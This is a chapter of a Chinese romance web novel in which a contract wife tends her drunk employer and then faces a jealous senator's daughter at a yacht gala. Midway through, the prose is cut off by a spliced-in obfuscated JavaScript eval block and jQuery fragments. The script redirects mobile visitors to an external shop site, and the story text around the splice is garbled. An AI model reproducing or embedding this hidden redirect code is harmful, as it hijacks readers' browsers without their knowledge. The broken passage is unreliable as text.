接下来的两周,沈郁和薄司檀回到了最初的陌生人模式。沈郁的胸口像憋着一股气,刻意地错开每一个能碰面的时间。

    家里开始有了钟点佣人,早中晚固定时间来做饭,然后安静离开。

    沈郁空闲的时间好像比以前更多了,带来的书也早已看完。

    好在薄司檀的私邸离公立图书馆很近,沈郁可以去那里消磨时间。

    薄崇源这段时间没再打电话来,特助大概真给薄崇源的儿子找了点麻烦。

    她选了一些不痛不痒的事情汇报给薄崇源的秘书。例如薄司檀今天做了什么,几点出门几点离开,去了哪里,见了谁。

    还屡次询问是否有任务安排,语气里带着一点被袭击吓到的惶恐,只需要反反复复念叨同样的话,再支支吾吾一些,那名秘书就会不耐烦地问她说完了没有,然后挂断电话。

    当然,这些都是演出来的,一个被吓破胆子的棋子,拿捏起来易如反掌,也更容易让人掉以轻心。

    薄司檀似乎默许了她的汇报,偶尔上门的特助还会特意告诉她,今天薄总要去干什么,然后再刻意地加一句,也不是什么重要的行程。

    沈郁在一个下午意外地接到了Mandy姐的电话。

    电话那头的Mandy姐语气安稳松弛,没有往日的焦灼哭诉,背景音也不再是麻将和咒骂声,变成了优雅的钢琴乐。

    “阿郁!你听妈咪讲,我买到票啦!过几日就返港岛啦,你唔使担心我,我好开心。”

    沈郁握着听筒,听见母亲喋喋不休说着港岛的天气,港岛最近流行的时装样式,还有她的好姐妹现在成了电影明星,也叫她回港去客串出演电影,她要当明星了。

    沈郁安静地听着Mandy姐那些琐碎的话语,末了问了一句:“钱够用吗?”

    Mandy姐突然靠近听筒:“够够够,阿郁你不要再转钱俾我啦,乖女,你系咪发达咗,妈咪就知道你学习好,做乜都好犀利。”(不要再转钱给我,乖女儿,你是不是发达了,妈妈就知道你学习好,干什么都厉害。)

    沈郁又问道:“佢呢?”

    Mandy姐马上回答道:“唔使理佢(不要管他),我姐妹讲咗,做明星首要就系身唔可以有男人,要单身先可以畀FANS有想象空间(要单身,粉丝才有想象空间),等做咗明星咩要嘅男人冇(等做了明星什么样男人没有),妈咪都有几分姿色嘅,不输林青霞。”

    她太了解自己的母亲,若无外力介入,Mandy姐永远摆脱不了依附男人的想法。即便自己千遍万遍保证一定能让她安稳养老过好日子,她依旧不信。

    可是同样夜场出来的已经发达的姐妹说的话就成了金科玉律,男人俨然成为绊脚石。

    这么巧妙的手法,这么高超的手段不会有别人,只能是薄司檀暗中出手。

    是她清理了母亲身边的烂人脉,切断薄崇源的牵制,摆平继父的纠缠,不动声色替自己扫平了所有后患。

    这就是她说的维持契约关系,不要越界?那她做这些是什么意思呢?

    横亘在胸口那股气好像被这通突如其来的电话散掉了,沈郁开始复盘现在她们之间的关系。

    她不是那种会被一次心跳失控打乱节奏的人,从小到大,她最擅长的事情就是认清局势、调整策略、继续往前走。

    薄司檀一定是看出了什么,才会对她说那样的话,她觉得自己爱上她了?沈郁没谈过恋爱,也没喜欢过谁,不能用以往的经验对比。

    所以沈郁开始系统地读心理学。弗洛伊德的精神分析、罗杰斯的人本主义、华生的行为主义……

    她试图用科学拆解自己。一切都有科学的解释,一切都可以被归因、被拆解、被驯服。

    她要证明,自己没有喜欢上薄司檀。

    翻完整整一摞书,沈郁最终确定,自己对薄司檀的感情不过是吊桥效应。

    人在危险情境中产生的生理唤醒,会被错误归因为对身边人的心动。

    完美。

    所以她不是心动,她只是产生了吊桥效应。沈郁合上书,对自己的分析很满意。

    可奇怪的是,她还是会不由自主地在电视上搜寻薄司檀的身影。

    屏幕里的薄司檀永远从容自持,周旋在资本与政坛之间,步步精准,滴水不漏。她全力助推的政客在初选中大获全胜,舆论声势滔天,稳住了博海集团的政界根基。

    新闻镜头一闪而过,沈郁看见薄司檀举杯浅笑,清冷矜贵,完美掌控着整场局面。

    沈郁脑海中涌出四个字,云泥之别。

    “沈郁、沈郁你在吗?”门口突然传来特助的声音。

    沈郁关上电视,打开门,特助和司机扶着醉酒的薄司檀正往里面走。

    “沈郁,”特助扶着薄司檀走进门,有些为难,“薄总今晚喝了不少,后面的应酬我还要陪着,车上还有一个党内代表,你能不能……”

    “没事。你去吧,交给我。”沈郁接过薄司檀的手臂,动作自然流畅。

    特助又说道:“我送完人再回来,现在先麻烦你。”

    沈郁点点头。

    她扶着薄司檀靠坐在沙发上。

    薄司檀闭着眼,呼吸比平时重,脸颊泛着淡淡的红,醉酒的微醺反而让她有了血色。

    沈郁蹲下来,平视她。

    “薄总。”她叫了一声。

    薄司檀没应,睫毛微微颤了颤。沈郁贴近闻了闻,除了那股好闻的薄荷香气,还混着红酒的味道,看来确实喝多了。

    照顾醉鬼这种事,沈郁做了成百上千次。

    可这次不太一样。沈郁的视线无法从薄司檀的脸上移开。

    她好像憔悴了,有一点黑眼圈,但还是很漂亮,那点瑕疵不但没有让她失色,反而多了一种颓靡的美感。

    沈郁抱起她,往楼上的卧室走去。

    卧室的灯光柔和,沈郁脱掉她的高跟鞋,拉开她连衣裙的拉链,拉链拉到一半,隐约露出内衣边缘。

    沈郁心跳如擂鼓,红着耳尖用被子盖住薄司檀,深吸一口气,闭着眼睛给薄司檀换上了那件灰色的真丝吊带睡裙。

    她用温水洗过毛巾,然后轻轻擦拭薄司檀的额头、眉骨、下颌。薄司檀的皮肤滚烫,酒精让她的体温升高。这让沈郁不由自主地想起了在杂物间时发生的一切。灼热的皮肤,涣散的眼神,纤薄的腰,蛊惑的唇……

    “张嘴。”

    沈郁把水杯递到薄司檀唇边。

    淡色的唇顺从地张开,温水抵着唇瓣流进去,溢出来一点,沿着下颌线淌下去,没入锁骨,沈郁用拇指擦掉那滴水。

    明明是寒冷的冬天,做完这些沈郁的额头上竟然微微渗出薄汗。

    她单膝跪在床边,下巴贴在床沿上看着薄司檀。

    视线却不受控制地停留在那被水润泽过的唇上。像是着了魔一样,沈郁低着头朝薄司檀靠近,近到能感受到夹杂着薄荷香气的呼吸,近到能看见微微开启的唇缝间淡红色的舌。

    更让沈郁着迷的是,薄司檀没有反抗,没有再说出什么难听的话,而是乖乖地躺在那儿,像一个漂亮的人形手办,任由沈郁摆弄。

    如果可以,沈郁希望她多醉一会儿。

    这一刻,她觉得这一个月的书应该都白看了。她对薄司檀的心动,就只是心动,不是吊桥反应,不是环境催生的错觉,就是单纯的、生理性的喜欢。

    就像现在,她想的是,如果她不是作为契约妻子,不是作为薄崇源安排的眼线,而是像那天车上的剧本写的那样,像是现在好莱坞流行的小妞电影那样。

    平凡的灰姑娘遇到了属于她的女王,她和她一见钟情,像童话故事一样。

    她们约会,然后相爱……她可以光明正大地吻她,碰触她,可以在她醉酒时提出过分的要求。

    而薄司檀大概会一边皱着眉,一边无奈地包容。

    这个念头让沈郁的瞳孔微微收缩。

    再或者,她毕业后,进入博海集团工作,通过自己的努力,一步步站到了薄司檀身边,成为她的左膀右臂,成为她不可或缺的依靠,然后她们水到渠成地在一起。

    可是无论哪一种,都不是像现在这样,像个卑劣的小偷,阴暗地躲在床边,觊觎着熟睡的金主,想从她那偷一个吻。

    “不是这样的。”沈郁轻声说。

    她抱住膝盖像一个小孩那样呆呆坐在床边的地毯上……

    良久,她起身,掖好薄司檀的被角,关上灯,转身离开。

    昏暗的卧室里,原本闭目沉睡的薄司檀缓缓睁开双眼,灰色瞳孔清明冷静,没有半分醉酒后的混沌。

    -------

    翌日天明,昨夜的一切好像没有发生过一样,两人继续维持着同宅陌路的状态,不碰面、不言语、不逾矩。

    特助送来高定礼服与配饰,通知沈郁游轮答谢晚宴的行程。

    真正的庆功宴开在隔绝媒体的私人游轮上,这场晚宴规格极高,几乎囊括大半出资者,沈郁需要陪同薄司檀出席,继续扮演恩爱伴侣的角色。

    开往码头的路上,沈郁和薄司檀坐在后排,一个朝左看一个朝右看,车里安静得诡异。

    特助咳了一声,转过来调节气氛道:“沈郁,这份资料你先看一下,都是出席今天晚宴的人,有备无患。”

    她递过来一个文件夹,沈郁打开,上面罗列着一排名字和对应页数,第一页的那个议员,沈郁在电视里看到过,应该就是薄司檀资助的那位。

    特助补充道:“议员和他夫人喜欢什么、忌讳什么,都在上面,你大概记住就行,免得说错话。”

    沈郁低头快速翻看,她记性一向好,一遍就能记个八九不离十。

    继续往下翻,突然跳出来一个格格不入的少女,很先锋前卫的造型,金发蓝眼,看上去像个模特,和一众沉稳老成的权贵宾客格格不入。照片下方标注着简单一行字:Cruz议员之女,Catherine Cruz,十八岁。

    特助从后视镜瞥见沈郁停驻的目光,语气微顿,神色稍显不自然,匆匆开口岔开话题:“这位不重要,只是跟着家人过来凑热闹的,不用费心记了,重点把控好前面几位政界官员与投资商就够了。”

    沈郁没多追问,淡淡颔首,指尖轻轻合上文件夹。

    很快到了码头,游轮就停靠在岸边,通体漆黑,像一只蛰伏海面的巨兽。

    沈郁下车,仰头看着那艘船。奢华到了极致,反而透出一种衰败的气息。

    薄司檀从另一侧下车后站到她旁边,还未开口,沈郁就笑着挽住了她的手。

    晚宴大厅鎏金璀璨,衣香鬓影交错,权贵云集,觥筹交错间尽是资本与政界的试

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735465|209039||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    探周旋。

    入场后,薄司檀带着沈郁和众人寒暄过后,便被一众核心权贵与政界人士围住应酬。沈郁自觉避开,独自走到甲板上,倚着微凉的船舷,静静地望着翻涌的深海,海面上空飘着绯色的晚霞,格外绮丽。

    大部分人都留在宴会厅内应酬发展人脉,几乎没有人在甲板上。

    但是总有例外,金发少女踩着利落的短靴,一路穿过人群,径直走到甲板上拦住沈郁。

    “你就是沈郁?”Catherine 没有寒暄,语气直白尖锐,眼神里带着居高临下的评判与挑衅。

    沈郁闻声回头,看到身后的金发少女。她神色平静,不卑不亢,淡淡应声:“是。”

    Catherine 挑眉,眼底满是傲气与不屑:“我听他们说,你和Minty只是各取所需的虚假伴侣,根本算不上什么真爱。Minty那么优秀,你根本配不上她。”

    沈郁挑挑眉,Minty?是薄司檀的英文名吗?

    “我和Minty圈层契合,能给她事业助力,能光明正大站在她身边。”少女仰着下巴,字字针锋相对,“你呢?你一无所有,只能躲在她的庇护下,什么都给不了她,你不过是她豢养的宠物而已。”

    少女语气尖锐,字字句句都极尽挑衅。

    换作旁人,或许会窘迫难堪,或是急于辩解,可沈郁只是垂眸轻轻笑了一下,眼底却带着几分漫不经心。

    原来特助的表情是因为这个,一位薄司檀的狂热迷妹?不,应该是爱慕者。

    “嗯。”沈郁轻轻应声,语气顺从得诡异,“你说得对。”

    说完沈郁还露出了一个微笑。

    Catherine一愣,预想中对方的争执、辩解、难堪统统没有出现。那副全然迁就的态度反倒衬得她像个上窜下跳的小丑。

    Catherine心底莫名憋起一股闷气。

    “本来就是!”Catherine梗着脖子继续逞强,“你就是占着位置不作为,Minty值得更好的人,比如我。”

    “嗯……”沈郁依旧顺着她的话,轻轻颔首,语气平淡无波,“你最适合,没人比你更配。”

    沈郁句句认同,字字退让,那双漆黑的眸子始终安静、沉稳,带着一种不属于她这个年纪的豁达,没有半分不自然。

    这种感觉格外磨人。吵架就应该你一句我一句,而不是一方火烧眉毛,一方好像事不关己。

    就像现在, Catherine 拼尽全力竖起满身锋芒、宣示主权,在沈郁眼里,不过是小孩子闹脾气的幼稚把戏,不值一提。

    Catherine被她气得直跺脚,心头的火气越积越盛,偏偏无处发泄。

    她想说的狠话全被对方轻飘飘的顺从堵死,只能死死攥着手里的玻璃杯,指尖泛白。

    “你是听不懂英语吗?还是看不起我!”少女气得双眼通红,握住酒杯就想朝沈郁身上泼。可她情绪起伏过大,又忘记这不是在地面而是在船上,身子猛地往前一晃,重心瞬间失衡,不受控制地向后倒去。

    Catherine身后便是冰凉坚硬的船舷护栏,外侧即是漆黑翻涌的深海,一旦摔落,后果不堪设想。

    千钧一发之际,沈郁抬手,动作干脆利落,精准攥住了她的小臂,微微用力一拉。

    力道不重,却稳稳将失衡的少女拽了回来。

    Catherine整个人猝不及防撞进沈郁怀里,一抬眼便是沈郁低垂的眼眸。

    那是一双极黑极沉的眼,眼尾微微下垂,褪去了方才刻意伪装的温和顺从,藏着几分慵懒的戏谑。

    沈郁见她已经站稳,便松开手,语气依旧带着几分漫不经心:“你的酒洒了,要是想泼我,只能再拿一杯了。”

    Catherine羞愤不已,整个人彻底呆住。

    十八岁的少女本就张扬敏感,方才刻意积攒的怒气、傲气、敌意,尽数被这突如其来的亲密冲散,脸颊瞬间烧得滚烫,从耳尖蔓延至脖颈。

    她明明还在生气,明明满心都是对沈郁的敌意,却又有点不好意思:“你你你!你不要装得像大人一样,你明明没比我大多少!”

    “好的,小妹妹。都听你的。”沈郁点点头。

    “啊啊啊,你就是故意的。”Catherine气得咬牙,“你是不是用这招勾引过Minty?”

    沈郁不讨厌这个女孩,因为她在女孩身上看到了自己,她们都为薄司檀着迷……

    她甚至有些羡慕Catherine,能那么直接不隐藏地表达自己,能够在众人面前大声地说着对薄司檀的喜欢。

    也许,Catherine说得对,只有像她那样的家世、背景才配站在薄司檀身边。

    薄司檀站在宴会厅出口,看到了这戏剧性的一幕。

    她面上依旧维持着惯常的从容,可眼底的温度,却一点点沉下去。

    胸腔里莫名窜起一缕细密的滞涩与不悦,沉闷地堵着,压得人莫名烦躁。

    Cruz议员恰好应酬完毕,转头看见立在原地的薄司檀,顺着她的视线看去,看到了Catherine正与沈郁相谈甚欢:“果然同龄人就是共同话题多,我看她们还挺聊得来的,那边有水烟,你要不要去试试。”

    薄司檀拒绝的话到了嘴边,骤然一转:“好。”